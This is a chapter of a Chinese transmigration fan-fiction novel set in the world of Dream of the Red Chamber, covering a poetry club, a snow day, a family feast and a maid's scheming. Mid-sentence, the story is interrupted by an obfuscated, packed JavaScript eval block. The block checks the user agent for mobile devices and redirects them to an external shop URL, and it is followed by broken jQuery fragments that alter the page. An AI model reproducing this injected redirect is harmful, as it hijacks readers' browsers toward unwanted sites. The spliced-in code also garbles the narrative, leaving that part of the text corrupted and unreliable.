以薛宝钗的观点,人和物件一样,无关自身好坏,只要有利用价值就是好的。
这也是荣国府众人远着她的原因,这人太功利,也太现实,人情味淡到可怕,除了史湘云那个傻蛋会被甜言蜜语欺骗,其余的都是聪明人好吧。
卫若兰怜惜她又要到那人生地不熟的地方去,才有意提点两句,见她只是笑着应和,眼中却满是不以为然,他也不再浪费感情了,招呼大家商议如何起诗社。
黛玉笑道,“既然要起诗社,咱们都是诗翁了,先把这些姐妹兄弟的字样改了,才不俗。”
探春笑道,“对对,我昨儿也想着起个别号才雅致,我最喜芭蕉,我那屋里的芭蕉有一人多高,就称‘蕉下客’,大家以为如何?”
黛玉咯咯笑起来,打趣让大家牵了探春炖鹿肉脯子吃。
宝玉看着大家笑闹,突然就理解原来的贾宝玉为何不愿长大,也不想让姐妹们嫁人了,大观园的年少时光是何等的快乐无忧,谁来了都会沉溺其中无法自拔的。
大家都定好别号,最后就轮到宝玉了,史湘云笑道,“二哥哥虽不会作诗,字却是极好的,不如给我们做个持笔,把每社作的诗都录下来。”
黛玉也道,“持笔也是要有别号的,二哥别想偷懒。”
见所有人都打趣的盯着自己,宝玉脑中灵光一现,笑道,“不如这样吧,我自荐掌坛,诗社的费用我全包了,别号当然也是有的,就叫逍遥客,如何?”
众人都来拜掌坛,笑说既然掌坛如此大方,那他们就不客气了。
宝玉还差哄孩子玩的那点银子么,笑道,“那就这样好了,每月初一十五是定社,期间何人想出新点子,也可以自己另开一社,我就等着看你们何时江郎才尽吧。”
史湘云像被踩到尾巴的小猫,张牙舞爪道,“读书人锦心秀口,腹有乾坤,二哥哥还是担心自己的荷包吧。”
探春也道,“我们的别号都是有典故的,二哥的逍遥客又出自何处?”
宝玉得意道,“虽无典故,却有歌为证。”
说罢,他就用筷子敲桌打节拍,唱了一遍网络名曲《逍遥仙》,把仙改成客,别有一番风味。
众人听惯了各种戏曲,工业时代的口水歌简洁明快,朗朗上口,好听易记,一曲唱罢,沉溺其中的众人还有些回不过神来。
宝玉笑道,“怎么样,好听吧。”
贾环惊奇的问道,“二哥,你是打哪里听来了这只曲,也太好听了吧。”
贾琮也道,“我从没听过这么轻快的小曲,可是哪家又请新乐师了么?”
黛玉点头道,“填词虽粗糙,寓意却不俗,不应该叫逍遥客,称之为逍遥仙才合适。”
宝玉在心里给她点赞,不愧是心比比干多一窍的林妹妹,只听一遍就看透这首歌的精髓了。
他笑道,“我们学琴也有好几年了,怎么就不能是我作出来的呢。”
几个小姐妹都哼了宝玉一鼻子,正因为一起读过书,才知道宝玉有多少斤两,凭他也能谱出这样的曲子,骗鬼呢。
别号起好了,众人又请掌坛出题,大家才好作诗。
宝玉指着窗外纷扬的大雪,“何须出题,有如此美景在侧,我们即景联诗可好?”
薛宝钗笑道,“好主意,但也要分出个次序才好啊。”
宝玉便命人制了签子,拿来榜文纸,由自己开头,写道:一夜北风紧,开门雪尚飘,入泥怜洁白。
排序第一的卫若兰接道,“随风惜素貂,不忍山僧扫,”
迎春又接了下去,宝玉则提笔记录,如此重复好几轮,直到贾环这里才卡住。
众人大笑,又收了两句便罢了,复又吃酒烤肉,欣赏雪景,直玩到下午雪停了方散。
宝玉吃多了烤肉,撑得直想打嗝,回到绮霰斋,看到木飞卫刀等人在院里扫雪,他也拿了扫帚,拉着卫若兰堆雪人消食。
卫若兰身为大少爷,雪天都是待在屋子里的,头次听说雪还能玩,听从宝玉的指挥用雪堆出个锥型的雪堆,又滚了个圆圆的雪球放到上头,画上眉眼,再插根红辣椒当鼻子,雪人就大功告成了。
宝玉得意道,“怎么样,可爱吧,可惜中京城太暖和了,等把北方夺回来,冬天可玩的东西还多着呢。”
卫若兰被丑丑的大雪人雷得不轻,尤其那个辣椒鼻子,简直不忍直视。
他拉着宝玉回到屋里,才道,“说得你好像到过北方一样,真有那么一天,我们也老得玩不动了吧。”
宝玉在心里叹气,他确实到过北方啊,上辈子当了二十年北方人呢,谁能想到穿越进红楼世界,连老家都回不去了。
卫若兰见他呆呆的,好笑道,“发什么呆呢,你才十一岁,离上战场打鞑子还远着呢,不如用联诗画一副雪景图,老太太和姐妹们肯定喜欢。”
宝玉被推回神,看着卫若兰,突然笑起来。
穿越也是有好处的,上辈子可没有像小师兄这样,时刻想着自己的人。
卫若兰被他笑得脸红,甩袖子进里间换衣服。
宝玉颠颠跟在后头,“别走啊,你喜欢什么样的雪景,我都画给你。”
等宝玉完成雪景图,已经是正月末了,今年家里有几件大事,二月初一宁国府贾蓉就要进鸿胪寺,虽只是八品主薄,也是有正经官身和差事的人了。
卫若兰也要正式进入密营,二月直接去密营报道,暂领正七品营从。
荣国府的长子嫡孙,寿桃小朋友也要正式入族学,从此就要摆脱乳名,被人尊称贾茂小爷了。
正月最后一天,贾敬在宁国府摆了家宴,祭祀先祖关闭祠堂,庆贺年轻一辈都有所长进。
宝玉祭过祖,又陪卫若兰回将军府祭祖关祠堂,再回到宁国府,这边已经开宴了。
自家亲戚没那么多讲究,男女分坐在天香楼上下两层,一起听戏吃酒。
贾琏难得休息一天,看到宝玉两人来了,就笑着招呼他们过去坐。
宝玉卫若兰先见过三位老爷,这才走到年轻人那边。
贾珍待在城外的道观里不肯回府
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950515|207192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,贾琏就成了宁荣两府四代第一人,他又有正经官身,在家里的话语权和地位不是原著的浪荡纨绔能比的,已经成为老太太倚重的当家爷们了。
两人见过贾琏,又受了兄弟和侄子们的礼,才入了座。
贾琏亲手给两人倒了酒,笑道,“听说宝兄弟有了新作,为何不请哥哥鉴赏一番啊。”
宝玉瞪了贾琮贾环一眼,不用想也知道是这两个小子搞的鬼,他装傻道,“雪景图就在老太太屋里挂着呢,想看就去看呗。”
贾环轻咳一声,忍着笑道,“雪景图昨儿就被老爷要去,挂到梦坡斋那边了。”
宝玉嫌弃的拧起眉头,出入梦坡斋的就没一个好人,连画都要染上油腻污浊之气,已经不想要了呢。
这下所有人都在努力忍笑了,宝玉是多不喜二老爷啊,提到名字都能让他生气。
贾琏可不敢在宝玉搓火时招惹他,小爆脾气要是炸了,全家一起上也未必按得住他,只好打消了让他唱曲的念头,又说起中京城最近的新鲜事。
见贾琏老实了,宝玉也哼了声不再开口,他还没吝啬到舍不得一幅画的地步,贾政喜欢就拿去好了,他只当从没画过。
结束家宴,回到绮霰斋时天都快黑了,洗漱过后换上居家的衣服,卫若兰存了一天的话,总算能说出口了。
他拉着宝玉在洒满夕阳的窗下坐了,柔声道,“宝玉,二老爷终究是你父亲,在家里便罢了,在外人面前可不能嫌弃亲父啊。”
宝玉注视着近在咫尺的俊美少年,突然就委屈起来了,“你明儿就要早出晚归了,不说些梯己安慰我的话,怎么又提起老爷了。”
卫若兰哭笑不得,“我说的就是梯己话,老爷是……”
宝玉捂住他的嘴,无奈道,“知道啦,我是那不知轻重的人么,不会让外人说我不孝的,我们换个话题好不好?”
卫若兰忍住磨蹭他掌心的冲动,挥开手嗔道,“既知道还敢当众嫌弃老爷,宝玉,我们不是小孩子了,最迟后年,你就是有正经差事的人了。”
宝玉嗯嗯答应着,心里却在苦笑,贾政从来不是省油的灯,又有贾雨村把他往沟里引,上头要是发现他有倾向皇长孙的可能,别说进密营了,连贾琏的官职都未必能保住。
次日,宝玉醒来时卫若兰已经出门了,他把手伸进身边空荡的被窝,心里也空落落的。
守在一旁的花序见他醒了,立刻送上温茶,笑道,“二爷动作快着些呢,今天要送茂哥儿去族学,昭宁郡主辰时就要到将军府了。”
宝玉没接茶,扫了眼笑容过于灿烂的大丫环,努力忍着才没让脸色变得难看。
花序今年十五岁了,小心思也越来越明显,以为卫若兰不在家她就有爬床的机会了,想什么美事呢。
在老太太屋里用早膳时宝玉还在生气,戳着盘子里的煎蛋,盘算用什么办法把花序嫁出去。
她识字算学都不怎么样,心思又深手又黑,指望她看管产业是没戏了,打发回家也是下下策,还有什么办法能摆脱花袭人呢?